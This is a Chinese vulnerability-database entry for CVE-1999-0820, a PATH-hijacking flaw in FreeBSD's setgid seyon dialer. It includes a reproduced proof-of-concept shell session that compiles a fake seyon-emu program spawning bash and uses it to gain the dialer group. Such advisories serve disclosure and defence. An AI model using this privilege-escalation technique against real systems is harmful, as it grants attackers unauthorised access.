FreeBSD Seyon设置组标识符拨号装置漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1105601 漏洞类型 配置错误
发布时间 1999-11-08 更新时间 2005-05-02
CVE编号 CVE-1999-0820 CNNVD-ID CNNVD-199912-012
漏洞平台 FreeBSD CVSS评分 4.6
|漏洞来源
https://www.exploit-db.com/exploits/19609
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199912-012
|漏洞详情
FreeBSD的seyon存在漏洞。用户可以通过修改查找xterm和seyon-emu命令的PATH变量获得权限。
|漏洞EXP
source: http://www.securityfocus.com/bid/780/info

Seyon uses relative pathnames to spawn two other programs which it requires. It is possible to exploit this vulnerability to obtain the priviliges which seyon runs with. It is installed (by default) setgid dialer on FreeBSD and root on Irix. 

bash-2.03$ uname -a; id; ls -la `which seyon`
FreeBSD 3.3-RELEASE FreeBSD 3.3-RELEASE #0: Thu Sep 16 23:40:35 GMT 1999=
=

jkh@highwing.cdrom.com:/usr/src/sys/compile/GENERIC i386
uid=1000(xnec) gid=1000(xnec) groups=1000(xnec)
-rwxr-sr-x 1 bin dialer 88480 Sep 11 00:55 /usr/X11R6/bin/seyon
bash-2.03$ cat > seyonx.c
void main () {
setregid(getegid(), getegid());
system("/usr/local/bin/bash");
}
bash-2.03$ gcc -o seyon-emu seyonx.c
bash-2.03$ PATH=.:$PATH
bash-2.03$ seyon
bash-2.03$ id
uid=1000(xnec) gid=68(dialer) groups=68(dialer), 1000(xnec)
bash-2.03$
|参考资料

来源:BID
名称:838
链接:http://www.securityfocus.com/bid/838
来源:OSVDB
名称:5996
链接:http://www.osvdb.org/5996